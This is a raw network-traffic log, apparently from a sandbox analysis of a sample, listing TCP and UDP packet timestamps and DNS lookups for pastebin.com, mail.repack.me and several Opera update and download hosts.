Dec 9, 2024 17:54:05.572419882 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.578077078 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.578099966 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.578197956 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.578202963 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.578226089 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.578480959 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.584372997 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.584393024 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.584439993 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.584445000 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.584487915 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.584719896 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.591350079 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.591377974 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.591634989 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.591641903 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.591737032 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.597274065 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.597297907 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.597362995 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.597368956 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.597413063 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.597655058 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.744554996 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.744582891 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.744647980 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.744647980 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.744668007 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.744829893 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.750495911 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.750518084 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.750591040 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.750591040 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.750603914 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.750647068 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.757236004 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.757256985 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.757318020 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.757318020 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.757328033 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.757512093 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.764091015 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.764112949 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.764147997 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.764157057 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.764174938 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.764309883 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.770165920 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.770184040 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.770220041 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.770226955 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.770253897 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.770332098 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.776926041 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.776947021 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.776994944 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.777004957 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.777015924 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.777297020 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.783354044 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.783375025 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.783423901 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.783432007 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.783454895 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.783744097 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.790121078 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.790139914 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.790172100 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.790179014 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.790205002 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.790237904 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.936094999 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.936117887 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.936181068 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.936197996 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.936207056 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.936264038 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.942866087 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.942890882 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.943047047 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.943056107 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.943799019 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.949578047 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.949596882 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.949805975 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.949811935 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.950042009 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.956522942 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.956548929 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.956589937 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.956595898 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.956633091 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.956660986 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.962596893 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.962624073 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.962757111 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.962762117 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.962923050 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.969199896 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.969218969 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.969274998 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.969280005 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.969331980 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.975687027 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.975704908 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.975771904 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.975778103 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.976535082 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.982486010 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.982502937 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.982592106 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.982592106 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.982598066 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.982763052 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.129173994 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.129200935 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.129300117 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.129321098 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.129357100 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.129431009 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.135236979 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.135256052 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.135337114 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.135343075 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.135601997 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.141974926 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.141992092 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.142188072 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.142193079 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.142230034 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.148070097 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.148130894 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.148154974 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:06.148155928 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.148178101 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.148200989 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.148319006 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:06.148330927 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:10.621921062 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:10.621992111 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:10.622066975 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:10.628257036 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:10.628315926 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:10.628362894 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:10.660134077 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:10.660161018 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:10.660347939 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:10.660371065 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:11.224936008 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:11.224999905 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:11.225061893 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:11.227109909 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:11.227123976 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:11.915776968 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:11.915946960 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:11.916114092 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:11.916342974 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:11.988487959 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:11.988496065 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:11.988527060 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:11.988540888 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:11.988895893 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:11.988910913 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:11.988997936 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:11.989029884 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:11.991153002 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:11.993455887 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:12.035324097 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:12.035332918 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:12.359565020 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:12.359649897 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:12.359673023 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:12.359916925 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:12.365382910 CET	49850	443	192.168.2.4	107.167.96.39
Dec 9, 2024 17:54:12.365403891 CET	443	49850	107.167.96.39	192.168.2.4
Dec 9, 2024 17:54:12.390427113 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:12.390491009 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:12.390516996 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:12.390579939 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:12.390631914 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:12.711154938 CET	49849	443	192.168.2.4	107.167.96.38
Dec 9, 2024 17:54:12.711195946 CET	443	49849	107.167.96.38	192.168.2.4
Dec 9, 2024 17:54:12.824083090 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:12.824160099 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.174374104 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.174408913 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:13.174860001 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:13.174921036 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.175337076 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.175426960 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.175431967 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:13.311644077 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:13.311714888 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:13.311835051 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:13.312406063 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:13.312424898 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:13.613828897 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:13.613878965 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:13.613953114 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:13.614346981 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:13.614362955 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:13.626647949 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:13.626701117 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.626713037 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:13.626723051 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:13.626744032 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.626766920 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.626866102 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.626879930 CET	443	49851	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:13.626889944 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.626923084 CET	49851	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.628355026 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.628400087 CET	443	49859	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:13.628448963 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.628998041 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:13.629009008 CET	443	49859	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:14.550559998 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:14.550683975 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:14.554483891 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:14.554501057 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:14.554776907 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:14.554927111 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:14.555212021 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:14.595323086 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:14.852835894 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:14.855663061 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:14.861326933 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:14.861346960 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:14.861689091 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:14.863924980 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:14.864264011 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:14.911330938 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:14.992419958 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:14.992444038 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:14.992508888 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:14.992523909 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:14.992523909 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:14.992633104 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:14.993881941 CET	49857	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:14.993904114 CET	443	49857	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:15.202230930 CET	443	49859	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:15.202310085 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.202997923 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.203013897 CET	443	49859	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:15.203133106 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.203136921 CET	443	49859	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:15.322206974 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:15.322284937 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:15.322592974 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:15.324316978 CET	49858	443	192.168.2.4	107.167.96.36
Dec 9, 2024 17:54:15.324337959 CET	443	49858	107.167.96.36	192.168.2.4
Dec 9, 2024 17:54:15.654427052 CET	443	49859	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:15.654489994 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.654498100 CET	443	49859	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:15.654540062 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.654691935 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.654723883 CET	443	49859	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:15.654736996 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.654818058 CET	49859	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.655674934 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.655721903 CET	443	49866	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:15.655812025 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.656073093 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:15.656091928 CET	443	49866	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:17.225080013 CET	443	49866	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:17.225136995 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.228199005 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.228212118 CET	443	49866	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:17.228375912 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.228380919 CET	443	49866	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:17.687217951 CET	443	49866	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:17.687303066 CET	443	49866	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:17.687333107 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.687349081 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.689980030 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.690007925 CET	443	49866	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:17.690016985 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.693803072 CET	49866	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.698635101 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.698684931 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:17.698967934 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.702810049 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:17.702824116 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:19.270729065 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:19.270787954 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:19.271301985 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:19.271307945 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:19.271495104 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:19.271498919 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:19.725940943 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:19.726001024 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:19.726011038 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:19.726028919 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:19.726052999 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:19.726083040 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:19.726193905 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:19.726211071 CET	443	49872	107.167.125.189	192.168.2.4
Dec 9, 2024 17:54:19.726237059 CET	49872	443	192.168.2.4	107.167.125.189
Dec 9, 2024 17:54:19.726347923 CET	49872	443	192.168.2.4	107.167.125.189

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 17:53:09.808886051 CET	63184	53	192.168.2.4	1.1.1.1
Dec 9, 2024 17:53:09.946621895 CET	53	63184	1.1.1.1	192.168.2.4
Dec 9, 2024 17:53:12.066143036 CET	60083	53	192.168.2.4	1.1.1.1
Dec 9, 2024 17:53:12.211512089 CET	53	60083	1.1.1.1	192.168.2.4
Dec 9, 2024 17:54:00.094238043 CET	65365	53	192.168.2.4	1.1.1.1
Dec 9, 2024 17:54:00.652529001 CET	53	65365	1.1.1.1	192.168.2.4
Dec 9, 2024 17:54:10.478161097 CET	64987	53	192.168.2.4	1.1.1.1
Dec 9, 2024 17:54:10.478355885 CET	54383	53	192.168.2.4	1.1.1.1
Dec 9, 2024 17:54:10.484880924 CET	64324	53	192.168.2.4	1.1.1.1
Dec 9, 2024 17:54:10.616790056 CET	53	64987	1.1.1.1	192.168.2.4
Dec 9, 2024 17:54:10.626662970 CET	53	64324	1.1.1.1	192.168.2.4
Dec 9, 2024 17:54:11.222439051 CET	53	54383	1.1.1.1	192.168.2.4
Dec 9, 2024 17:54:13.172888994 CET	49453	53	192.168.2.4	1.1.1.1
Dec 9, 2024 17:54:13.177752018 CET	55317	53	192.168.2.4	1.1.1.1
Dec 9, 2024 17:54:13.310333014 CET	53	49453	1.1.1.1	192.168.2.4
Dec 9, 2024 17:54:13.612904072 CET	53	55317	1.1.1.1	192.168.2.4
Dec 9, 2024 17:54:15.327919006 CET	53750	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 17:53:09.808886051 CET	192.168.2.4	1.1.1.1	0xe2a7	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:53:12.066143036 CET	192.168.2.4	1.1.1.1	0xe681	Standard query (0)	mail.repack.me	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:00.094238043 CET	192.168.2.4	1.1.1.1	0xd202	Standard query (0)	net.geo.opera.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:10.478161097 CET	192.168.2.4	1.1.1.1	0xe527	Standard query (0)	autoupdate.geo.opera.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:10.478355885 CET	192.168.2.4	1.1.1.1	0xe2e5	Standard query (0)	desktop-netinstaller-sub.osp.opera.software	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:10.484880924 CET	192.168.2.4	1.1.1.1	0xe362	Standard query (0)	autoupdate.opera.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:13.172888994 CET	192.168.2.4	1.1.1.1	0x6b93	Standard query (0)	features.opera-api2.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:13.177752018 CET	192.168.2.4	1.1.1.1	0xf0f9	Standard query (0)	download.opera.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 17:54:15.327919006 CET	192.168.2.4	1.1.1.1	0x71df	Standard query (0)	download3.operacdn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 17:53:09.946621895 CET	1.1.1.1	192.168.2.4	0xe2a7	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
